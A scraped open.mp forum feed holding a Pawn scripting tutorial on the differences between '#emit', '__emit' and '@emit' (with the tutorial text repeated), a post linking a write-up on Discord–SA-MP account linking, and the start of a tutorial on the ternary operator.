? ? <span style="color: Brown;" class="mycode_color">#emit CONST.pri 6</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#endif</span></blockquote><br />
<br />
<br />
Very unhelpfully generates:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>asm Wrote:</cite>CONST.pri 5<br />
<br />
CONST.pri 6</blockquote><br />
<br />
<br />
Both branches are used, so you will often see functions with assembly at the end of a file, ommitted with <span style="font-family: courier new;" class="mycode_font">#endinput</span>:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#if !TEST</span><br />
<br />
? ? <span style="color: Brown;" class="mycode_color">#endinput</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#endif</span><br />
<br />
<br />
<br />
Func()<br />
<br />
{<br />
<br />
? ? <span style="color: Brown;" class="mycode_color">#emit CONST.pri 5</span><br />
<br />
}</blockquote><br />
<br />
<br />
Or in a separate file altogether.<br />
<br />
<br />
<br />
In short <span style="font-family: courier new;" class="mycode_font">#emit</span> is very weird, but everything else has been built from it so there?s a lot to thank it for.<br />
<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color"><span style="font-family: courier new;" class="mycode_font">__emit</span></span></span></span></span></span></div>
<br />
<br />
<br />
This is <span style="font-family: courier new;" class="mycode_font">#emit</span>, but super-powered.? It is a full expression-level version of <span style="font-family: courier new;" class="mycode_font">#emit</span> correctly integrated in to the compiler.? That means you can use full compile-time expressions:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite>__emit(CONST.pri (<span style="color: Orange;" class="mycode_color">5</span> * MAX_PLAYERS));</blockquote><br />
<br />
<br />
You can use it in defines:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#define GetCurrentAddress() __emit(LCTRL 6)</span></blockquote><br />
<br />
<br />
And you can use it in expressions:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: Blue;" class="mycode_color">new</span> var = __emit(CONST.pri <span style="color: Orange;" class="mycode_color">6</span>);</blockquote><br />
<br />
<br />
Where the register <span style="font-family: courier new;" class="mycode_font">pri</span> is always the result of <span style="font-family: courier new;" class="mycode_font">__emit</span> returned like a normal expression.? Compared to the old version:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: Blue;" class="mycode_color">new</span> var = <span style="color: Orange;" class="mycode_color">0</span>;<br />
<br />
<span style="color: Brown;" class="mycode_color">#emit CONST.pri 6</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit STOR.S.pri var</span></blockquote><br />
<br />
<br />
It also adds <span style="font-family: courier new;" class="mycode_font">.U</span>, which tries to work out which instruction to use based on the parameter.? For example with <span style="font-family: courier new;" class="mycode_font">#emit</span> incrementing a global variable is:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit INC var</span></blockquote><br />
<br />
<br />
While incrementing a local variable is:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit INC.S var</span></blockquote><br />
<br />
<br />
With <span style="font-family: courier new;" class="mycode_font">__emit</span> these become:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite>__emit(INC.U var);</blockquote><br />
<br />
<br />
And the compiler works out which instruction to use based on the scope of <span style="font-family: courier new;" class="mycode_font">var</span>.<br />
<br />
<br />
<br />
There is more that <span style="font-family: courier new;" class="mycode_font">__emit</span> can do, like including multiple instructions in one expression:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: Blue;" class="mycode_color">new</span> var = __emit(LOAD.S.pri param, ADD.C <span style="color: Orange;" class="mycode_color">5</span>); <span style="color: Green;" class="mycode_color">// new var = param  5;</span></blockquote><br />
<br />
<br />
But it is still fundamentally the same as <span style="font-family: courier new;" class="mycode_font">#emit</span> in one important way - it is done at compile-time by the compiler.? Everything is inserted in to the AMX at a fixed location (bearing in mind that macros can change this location).<br />
<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color"><span style="font-family: courier new;" class="mycode_font">@emit</span></span></span></span></span></span></div>
<br />
<br />
<br />
This is a macro, and purely a run-time operation.? The simplest way to see what it does is to remove the macro itself and look at the underlying function calls.? A <span style="font-style: italic;" class="mycode_i">context</span> is created, which includes an address in the AMX, and instructions are written to that address one-by-one while the server is running.? This is a very easy way to write self-modifying code:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite>ReturnFive()<br />
<br />
{<br />
<br />
? ? <span style="color: Green;" class="mycode_color">// Wrong value!</span><br />
<br />
? ? <span style="color: Blue;" class="mycode_color">return</span> <span style="color: Orange;" class="mycode_color">3</span>;<br />
<br />
}<br />
<br />
<br />
<br />
<span style="color: DeepSkyBlue;" class="mycode_color">public</span> OnCodeInit()<br />
<br />
{<br />
<br />
? ? <span style="color: Green;" class="mycode_color">// Create the context.</span><br />
<br />
? ? <span style="color: Blue;" class="mycode_color">new</span> context[AsmContext];<br />
<br />
<br />
<br />
? ? <span style="color: Green;" class="mycode_color">// Initialise the context to point to a function.</span><br />
<br />
? ? AsmInitPtr(context, _:addressof (ReturnFive&lt;&gt;), <span style="color: Orange;" class="mycode_color">4</span> * cellbytes);</blockquote><br />
<br />
<br />
This code creates a context, points it to the given function to rewrite it, and makes the buffer big enough to hold four cells.? Note that this code is in <span style="font-family: courier new;" class="mycode_font">OnCodeInit</span>, which is a special callback called before the mode starts, and before the JIT plugin compiles the mode.? All code rewriting must be done before JIT initialisation.? Note also that because <span style="font-family: courier new;" class="mycode_font">OnCodeInit</span> is called so early you can?t use most useful YSI features like <span style="font-family: courier new;" class="mycode_font">hook</span> and <span style="font-family: courier new;" class="mycode_font">foreach</span> - it too is generating its own code at this point.? We then rewrite the function at that address in assembly:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite>? ? <span style="color: Green;" class="mycode_color">// A function starts with `PROC`.</span><br />
<br />
? ? AsmEmitProc(context);<br />
<br />
<br />
<br />
? ? <span style="color: Green;" class="mycode_color">// Then load the correct return value in to `pri`.</span><br />
<br />
? ? AsmEmitConstPri(context, <span style="color: Orange;" class="mycode_color">5</span>);<br />
<br />
<br />
<br />
? ? <span style="color: Green;" class="mycode_color">// And end the function.</span><br />
<br />
? ? AsmEmitRetn(context);<br />
<br />
<br />
<br />
? ? <span style="color: Blue;" class="mycode_color">return</span> <span style="color: Orange;" class="mycode_color">1</span>;<br />
<br />
}</blockquote><br />
<br />
<br />
<span style="font-family: courier new;" class="mycode_font">@emit</span> is just a clever macro that wraps all of these confusing function calls.? While they are fundamentally how code is rewritten at run-time, there?s a lot of boilerplate there that obscures what code is being generated.? So if we call the context <span style="font-family: courier new;" class="mycode_font">ctx</span> (this is important as it is hard-coded in to the macros).? The <span style="font-family: courier new;" class="mycode_font">@emit</span> macro is something like:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#define @emit%0%1 AsmEmit%0(ctx, %1);</span></blockquote><br />
<br />
<br />
It isn?t exactly that, because that?s not a valid macro, but it shows what is happening.? Thus the code becomes:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite>ReturnFive()<br />
<br />
{<br />
<br />
? ? <span style="color: Green;" class="mycode_color">// Wrong value!</span><br />
<br />
? ? <span style="color: Blue;" class="mycode_color">return</span> <span style="color: Orange;" class="mycode_color">3</span>;<br />
<br />
}<br />
<br />
<br />
<br />
<span style="color: DeepSkyBlue;" class="mycode_color">public</span> OnCodeInit()<br />
<br />
{<br />
<br />
? ? <span style="color: Green;" class="mycode_color">// Create the context.</span><br />
<br />
? ? <span style="color: Blue;" class="mycode_color">new</span> ctx[AsmContext];<br />
<br />
<br />
<br />
? ? <span style="color: Green;" class="mycode_color">// Initialise the context to point to a function.</span><br />
<br />
? ? AsmInitPtr(ctx, _:addressof (ReturnFive&lt;&gt;), <span style="color: Orange;" class="mycode_color">4</span> * cellbytes);<br />
<br />
<br />
<br />
? ? <span style="color: Green;" class="mycode_color">// A function starts with `PROC`.</span><br />
<br />
? ? @emit PROC<br />
<br />
<br />
<br />
? ? <span style="color: Green;" class="mycode_color">// Then load the correct return value in to `pri`.</span><br />
<br />
? ? @emit CONST.pri <span style="color: Orange;" class="mycode_color">5</span><br />
<br />
<br />
<br />
? ? <span style="color: Green;" class="mycode_color">// And end the function.</span><br />
<br />
? ? @emit RETN<br />
<br />
<br />
<br />
? ? <span style="color: Blue;" class="mycode_color">return</span> <span style="color: Orange;" class="mycode_color">1</span>;<br />
<br />
}</blockquote><br />
<br />
<br />
So if you see <span style="font-family: courier new;" class="mycode_font">@emit</span> look around for <span style="font-family: courier new;" class="mycode_font">ctx</span> and that?s where the instructions are being written to in memory.? You can also use labels, but if you want to use variables in the generated code, and not to generate the code, you need to explicitly get their address:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: Green;" class="mycode_color">// return var ? 0 : 1;</span><br />
<br />
@emit LOAD.S.pri ref(var)<br />
<br />
@emit JZER.label failure<br />
<br />
@emit CONST.pri <span style="color: Orange;" class="mycode_color">0</span><br />
<br />
@emit RETN<br />
<br />
@emit failure:<br />
<br />
@emit CONST.pri <span style="color: Orange;" class="mycode_color">1</span><br />
<br />
@emit RETN</blockquote>]]></description>
			<content:encoded><![CDATA[Between the latest versions of the compiler and the <a href="https://github.com/Zeex/amx_assembly/" target="_blank" rel="noopener" class="mycode_url">amx_assembly</a> library, there are now three versions of <span style="font-family: courier new;" class="mycode_font">emit</span> - <span style="font-family: courier new;" class="mycode_font">#emit</span>, <span style="font-family: courier new;" class="mycode_font">__emit</span>, and <span style="font-family: courier new;" class="mycode_font">@emit</span>.? They all have subtly different uses and quirks, and these differences are explained here.<br />
<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color"><span style="font-family: courier new;" class="mycode_font">#emit</span></span></span></span></span></span></div>
<br />
<br />
<br />
This is the original version, and is used to insert assembly (p-code) in to a script directly, exactly at the point it is used.? For example:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite>Function()<br />
<br />
{<br />
<br />
? ? <span style="color: Brown;" class="mycode_color">#emit ZERO.pri</span><br />
<br />
? ? <span style="color: Brown;" class="mycode_color">#emit RETN</span><br />
<br />
? ? <span style="color: Blue;" class="mycode_color">return</span> <span style="color: Orange;" class="mycode_color">1</span>;<br />
<br />
}</blockquote><br />
<br />
<br />
This function will be compiled with <span style="font-style: italic;" class="mycode_i">two</span> return instructions - one from <span style="font-family: courier new;" class="mycode_font">RETN</span> and one from <span style="font-family: courier new;" class="mycode_font">return</span>, and the second one will never be hit.? The generated assembly will look something like:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>asm Wrote:</cite>PROC<br />
<br />
ZERO.pri<br />
<br />
RETN<br />
<br />
CONST.pri 1<br />
<br />
RETN</blockquote><br />
<br />
<br />
This is the most inflexible version - it just puts exactly what you typed exactly where you typed it.<br />
<br />
<br />
<br />
It is also in a very strange part of the compiler, likely because it was only originally intended for basic debugging of the pawn VM (hence why it was removed in later official releases).? It uses barely any of the standard compiler features:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite>#emit CONST.pri <span style="color: Orange;" class="mycode_color">5</span> <span style="color: Green;" class="mycode_color">// This works.</span><br />
<br />
#emit CONST.pri <span style="color: Orange;" class="mycode_color">-5</span> <span style="color: Green;" class="mycode_color">// This is a syntax error.</span></blockquote><br />
<br />
<br />
Thus you will often see negative numbers written in their full hex representation (for some reason hex does work despite the fact that negative numbers don?t):<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite>#emit CONST.pri <span style="color: Orange;" class="mycode_color"><span style="color: Orange;" class="mycode_color">0</span>xFFFFFFFB</span> <span style="color: Green;" class="mycode_color">// -5</span></blockquote><br />
<br />
<br />
Defines don?t work to abstract that, but <span style="font-family: courier new;" class="mycode_font">const</span> does:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#define MINUS_5 0xFFFFFFFB</span><br />
<br />
#emit CONST.pri MINUS_<span style="color: Orange;" class="mycode_color">5</span> <span style="color: Green;" class="mycode_color">// Undefined symbol `MINUS_5`</span></blockquote><br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: DeepSkyBlue;" class="mycode_color">const</span> MINUS_<span style="color: Orange;" class="mycode_color">5</span> = <span style="color: Orange;" class="mycode_color">-5</span>;<br />
<br />
#emit CONST.pri MINUS_<span style="color: Orange;" class="mycode_color">5</span> <span style="color: Green;" class="mycode_color">// Fine.</span></blockquote><br />
<br />
<br />
And <span style="font-family: courier new;" class="mycode_font">#if</span> is completely ignored:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#if TEST</span><br />
<br />
? ? <span style="color: Brown;" class="mycode_color">#emit CONST.pri 5</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#else</span><br />
<br />
? ? <span style="color: Brown;" class="mycode_color">#emit CONST.pri 6</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#endif</span></blockquote><br />
<br />
<br />
Very unhelpfully generates:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>asm Wrote:</cite>CONST.pri 5<br />
<br />
CONST.pri 6</blockquote><br />
<br />
<br />
Both branches are used, so you will often see functions with assembly at the end of a file, ommitted with <span style="font-family: courier new;" class="mycode_font">#endinput</span>:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#if !TEST</span><br />
<br />
? ? <span style="color: Brown;" class="mycode_color">#endinput</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#endif</span><br />
<br />
<br />
<br />
Func()<br />
<br />
{<br />
<br />
? ? <span style="color: Brown;" class="mycode_color">#emit CONST.pri 5</span><br />
<br />
}</blockquote><br />
<br />
<br />
Or in a separate file altogether.<br />
<br />
<br />
<br />
In short <span style="font-family: courier new;" class="mycode_font">#emit</span> is very weird, but everything else has been built from it so there?s a lot to thank it for.<br />
<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color"><span style="font-family: courier new;" class="mycode_font">__emit</span></span></span></span></span></span></div>
<br />
<br />
<br />
This is <span style="font-family: courier new;" class="mycode_font">#emit</span>, but super-powered.? It is a full expression-level version of <span style="font-family: courier new;" class="mycode_font">#emit</span> correctly integrated in to the compiler.? That means you can use full compile-time expressions:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite>__emit(CONST.pri (<span style="color: Orange;" class="mycode_color">5</span> * MAX_PLAYERS));</blockquote><br />
<br />
<br />
You can use it in defines:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#define GetCurrentAddress() __emit(LCTRL 6)</span></blockquote><br />
<br />
<br />
And you can use it in expressions:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: Blue;" class="mycode_color">new</span> var = __emit(CONST.pri <span style="color: Orange;" class="mycode_color">6</span>);</blockquote><br />
<br />
<br />
Where the register <span style="font-family: courier new;" class="mycode_font">pri</span> is always the result of <span style="font-family: courier new;" class="mycode_font">__emit</span> returned like a normal expression.? Compared to the old version:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: Blue;" class="mycode_color">new</span> var = <span style="color: Orange;" class="mycode_color">0</span>;<br />
<br />
<span style="color: Brown;" class="mycode_color">#emit CONST.pri 6</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit STOR.S.pri var</span></blockquote><br />
<br />
<br />
It also adds <span style="font-family: courier new;" class="mycode_font">.U</span>, which tries to work out which instruction to use based on the parameter.? For example with <span style="font-family: courier new;" class="mycode_font">#emit</span> incrementing a global variable is:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit INC var</span></blockquote><br />
<br />
<br />
While incrementing a local variable is:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit INC.S var</span></blockquote><br />
<br />
<br />
With <span style="font-family: courier new;" class="mycode_font">__emit</span> these become:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite>__emit(INC.U var);</blockquote><br />
<br />
<br />
And the compiler works out which instruction to use based on the scope of <span style="font-family: courier new;" class="mycode_font">var</span>.<br />
<br />
<br />
<br />
There is more that <span style="font-family: courier new;" class="mycode_font">__emit</span> can do, like including multiple instructions in one expression:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: Blue;" class="mycode_color">new</span> var = __emit(LOAD.S.pri param, ADD.C <span style="color: Orange;" class="mycode_color">5</span>); <span style="color: Green;" class="mycode_color">// new var = param  5;</span></blockquote><br />
<br />
<br />
But it is still fundamentally the same as <span style="font-family: courier new;" class="mycode_font">#emit</span> in one important way - it is done at compile-time by the compiler.? Everything is inserted in to the AMX at a fixed location (bearing in mind that macros can change this location).<br />
<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color"><span style="font-family: courier new;" class="mycode_font">@emit</span></span></span></span></span></span></div>
<br />
<br />
<br />
This is a macro, and purely a run-time operation.? The simplest way to see what it does is to remove the macro itself and look at the underlying function calls.? A <span style="font-style: italic;" class="mycode_i">context</span> is created, which includes an address in the AMX, and instructions are written to that address one-by-one while the server is running.? This is a very easy way to write self-modifying code:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite>ReturnFive()<br />
<br />
{<br />
<br />
? ? <span style="color: Green;" class="mycode_color">// Wrong value!</span><br />
<br />
? ? <span style="color: Blue;" class="mycode_color">return</span> <span style="color: Orange;" class="mycode_color">3</span>;<br />
<br />
}<br />
<br />
<br />
<br />
<span style="color: DeepSkyBlue;" class="mycode_color">public</span> OnCodeInit()<br />
<br />
{<br />
<br />
? ? <span style="color: Green;" class="mycode_color">// Create the context.</span><br />
<br />
? ? <span style="color: Blue;" class="mycode_color">new</span> context[AsmContext];<br />
<br />
<br />
<br />
? ? <span style="color: Green;" class="mycode_color">// Initialise the context to point to a function.</span><br />
<br />
? ? AsmInitPtr(context, _:addressof (ReturnFive&lt;&gt;), <span style="color: Orange;" class="mycode_color">4</span> * cellbytes);</blockquote><br />
<br />
<br />
This code creates a context, points it to the given function to rewrite it, and makes the buffer big enough to hold four cells.? Note that this code is in <span style="font-family: courier new;" class="mycode_font">OnCodeInit</span>, which is a special callback called before the mode starts, and before the JIT plugin compiles the mode.? All code rewriting must be done before JIT initialisation.? Note also that because <span style="font-family: courier new;" class="mycode_font">OnCodeInit</span> is called so early you can?t use most useful YSI features like <span style="font-family: courier new;" class="mycode_font">hook</span> and <span style="font-family: courier new;" class="mycode_font">foreach</span> - it too is generating its own code at this point.? We then rewrite the function at that address in assembly:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite>? ? <span style="color: Green;" class="mycode_color">// A function starts with `PROC`.</span><br />
<br />
? ? AsmEmitProc(context);<br />
<br />
<br />
<br />
? ? <span style="color: Green;" class="mycode_color">// Then load the correct return value in to `pri`.</span><br />
<br />
? ? AsmEmitConstPri(context, <span style="color: Orange;" class="mycode_color">5</span>);<br />
<br />
<br />
<br />
? ? <span style="color: Green;" class="mycode_color">// And end the function.</span><br />
<br />
? ? AsmEmitRetn(context);<br />
<br />
<br />
<br />
? ? <span style="color: Blue;" class="mycode_color">return</span> <span style="color: Orange;" class="mycode_color">1</span>;<br />
<br />
}</blockquote><br />
<br />
<br />
<span style="font-family: courier new;" class="mycode_font">@emit</span> is just a clever macro that wraps all of these confusing function calls.? While they are fundamentally how code is rewritten at run-time, there?s a lot of boilerplate there that obscures what code is being generated.? So if we call the context <span style="font-family: courier new;" class="mycode_font">ctx</span> (this is important as it is hard-coded in to the macros).? The <span style="font-family: courier new;" class="mycode_font">@emit</span> macro is something like:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#define @emit%0%1 AsmEmit%0(ctx, %1);</span></blockquote><br />
<br />
<br />
It isn?t exactly that, because that?s not a valid macro, but it shows what is happening.? Thus the code becomes:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite>ReturnFive()<br />
<br />
{<br />
<br />
? ? <span style="color: Green;" class="mycode_color">// Wrong value!</span><br />
<br />
? ? <span style="color: Blue;" class="mycode_color">return</span> <span style="color: Orange;" class="mycode_color">3</span>;<br />
<br />
}<br />
<br />
<br />
<br />
<span style="color: DeepSkyBlue;" class="mycode_color">public</span> OnCodeInit()<br />
<br />
{<br />
<br />
? ? <span style="color: Green;" class="mycode_color">// Create the context.</span><br />
<br />
? ? <span style="color: Blue;" class="mycode_color">new</span> ctx[AsmContext];<br />
<br />
<br />
<br />
? ? <span style="color: Green;" class="mycode_color">// Initialise the context to point to a function.</span><br />
<br />
? ? AsmInitPtr(ctx, _:addressof (ReturnFive&lt;&gt;), <span style="color: Orange;" class="mycode_color">4</span> * cellbytes);<br />
<br />
<br />
<br />
? ? <span style="color: Green;" class="mycode_color">// A function starts with `PROC`.</span><br />
<br />
? ? @emit PROC<br />
<br />
<br />
<br />
? ? <span style="color: Green;" class="mycode_color">// Then load the correct return value in to `pri`.</span><br />
<br />
? ? @emit CONST.pri <span style="color: Orange;" class="mycode_color">5</span><br />
<br />
<br />
<br />
? ? <span style="color: Green;" class="mycode_color">// And end the function.</span><br />
<br />
? ? @emit RETN<br />
<br />
<br />
<br />
? ? <span style="color: Blue;" class="mycode_color">return</span> <span style="color: Orange;" class="mycode_color">1</span>;<br />
<br />
}</blockquote><br />
<br />
<br />
So if you see <span style="font-family: courier new;" class="mycode_font">@emit</span> look around for <span style="font-family: courier new;" class="mycode_font">ctx</span> and that?s where the instructions are being written to in memory.? You can also use labels, but if you want to use variables in the generated code, and not to generate the code, you need to explicitly get their address:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>pawn Wrote:</cite><span style="color: Green;" class="mycode_color">// return var ? 0 : 1;</span><br />
<br />
@emit LOAD.S.pri ref(var)<br />
<br />
@emit JZER.label failure<br />
<br />
@emit CONST.pri <span style="color: Orange;" class="mycode_color">0</span><br />
<br />
@emit RETN<br />
<br />
@emit failure:<br />
<br />
@emit CONST.pri <span style="color: Orange;" class="mycode_color">1</span><br />
<br />
@emit RETN</blockquote>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Associating a Discord account with SA-MP account]]></title>
			<link>https://forum.open.mp/showthread.php?tid=1610</link>
			<pubDate>Thu, 28 Jan 2021 19:04:41 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.open.mp/member.php?action=profile&uid=3126">phlair</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.open.mp/showthread.php?tid=1610</guid>
			<description><![CDATA[Below is an excerpt from a Discord post to solve a common problem - it will benefit others with the necessary effort/attitude, so I'm sharing it here for posterity.<br />
<br />
So, finished the write-up for the discord-samp linking stuff. It contains:<br />
- Motivation for the problem<br />
- Full description of the problem<br />
- Solution of the problem (logic)<br />
- Proof of solution of the problem<br />
- Implementation directions<br />
<br />
You should read it accompanied with all the contents of <a href="https://github.com/lagoevia/cahoa/blob/master/Volume%20I/Appendices/A/HOME.md" target="_blank" rel="noopener" class="mycode_url">Appendix A of CAHOA</a> if you haven't read that already.<br />
Look forward to seeing some good engagement with it, and it becoming useful in encouraging a "think first, do later" mindset.<br />
<br />
Link to the write-up: <a href="https://gist.github.com/lagoevia/c3d6f38c8d282c3f6871e910f0de9dcb" target="_blank" rel="noopener" class="mycode_url">https://gist.github.com/lagoevia/c3d6f38...10f0de9dcb</a>]]></description>
			<content:encoded><![CDATA[Below is an excerpt from a Discord post to solve a common problem - it will benefit others with the necessary effort/attitude, so I'm sharing it here for posterity.<br />
<br />
So, finished the write-up for the discord-samp linking stuff. It contains:<br />
- Motivation for the problem<br />
- Full description of the problem<br />
- Solution of the problem (logic)<br />
- Proof of solution of the problem<br />
- Implementation directions<br />
<br />
You should read it accompanied with all the contents of <a href="https://github.com/lagoevia/cahoa/blob/master/Volume%20I/Appendices/A/HOME.md" target="_blank" rel="noopener" class="mycode_url">Appendix A of CAHOA</a> if you haven't read that already.<br />
Look forward to seeing some good engagement with it, and it becoming useful in encouraging a "think first, do later" mindset.<br />
<br />
Link to the write-up: <a href="https://gist.github.com/lagoevia/c3d6f38c8d282c3f6871e910f0de9dcb" target="_blank" rel="noopener" class="mycode_url">https://gist.github.com/lagoevia/c3d6f38...10f0de9dcb</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Ternary Operator Basics]]></title>
			<link>https://forum.open.mp/showthread.php?tid=1566</link>
			<pubDate>Wed, 20 Jan 2021 19:29:59 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.open.mp/member.php?action=profile&uid=2931">RhaegarX</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.open.mp/showthread.php?tid=1566</guid>
			<description><![CDATA[<span style="color: #e8c500;" class="mycode_color"><span style="font-size: large;" class="mycode_size"><span style="color: #202124;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Tahoma, Verdana, Arial, sans-serif;" class="mycode_font"><span style="font-weight: bold;" class="mycode_b"><span style="font-style: italic;" class="mycode_i">"Sorry for the bad English, I'm using the translator to do this tutorial."</span></span></span></span></span></span></span><br />
<br />
<br />
<br />
<span style="color: #e8c500;" class="mycode_color"><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">- What is a ternary operator?</span></span></span><br />
<br />
<br />
<br />
In various situations in programming we need to deal with various scenarios, through conditional structures, such as if, else and switch. However, in some situations we deal with wave situations there are only 2 possible returns.<br />
<br />
<br />
<br />
For example, let's imagine a hypothetical situation, in which if the player is an administrator he wins &#36; 1500, otherwise he will win &#36; 500.<br />
<br />
We can do this logic using the if and else operator:<br />
<br />
<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">PlayerData</span><span style="color: #007700">[</span><span style="color: #0000BB">playerid</span><span style="color: #007700">][</span><span style="color: #0000BB">pAdmin</span><span style="color: #007700">]&nbsp;&gt;&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)<br /><br />{?&nbsp;?&nbsp;?&nbsp;?&nbsp;?&nbsp;<br /><br />?&nbsp;?&nbsp;</span><span style="color: #0000BB">GivePlayerMoney</span><span style="color: #007700">(</span><span style="color: #0000BB">playerid</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">1500</span><span style="color: #007700">);<br /><br /><br /><br />}&nbsp;<br /><br />else<br /><br />{<br /><br />?&nbsp;?&nbsp;</span><span style="color: #0000BB">GivePlayerMoney</span><span style="color: #007700">(</span><span style="color: #0000BB">playerid</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">500</span><span style="color: #007700">);<br /><br />}&nbsp;<br /></span></code></div></div></div><br />
<br />
<br />
Now notice that we are making a relatively long structure for a simple action, with only two possibilities. Is there no other way to write this code in a simpler way? Yes, there is, and that is what the ternary operator is for:<br />
<br />
<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">GivePlayerMoney</span><span style="color: #007700">(</span><span style="color: #0000BB">playerid</span><span style="color: #007700">,&nbsp;(</span><span style="color: #0000BB">PlayerData</span><span style="color: #007700">[</span><span style="color: #0000BB">playerid</span><span style="color: #007700">][</span><span style="color: #0000BB">pAdmin</span><span style="color: #007700">]&nbsp;&gt;&nbsp;</span><span style="color: #0000BB">0&nbsp;</span><span style="color: #007700">?&nbsp;</span><span style="color: #0000BB">1500&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">500</span><span style="color: #007700">));&nbsp;<br /></span></code></div></div></div><br />
<br />
<br />
Now we did the same action with just one line of code, however let's understand a little bit about how to build a ternary operator.<br />
<br />
<br />
<br />
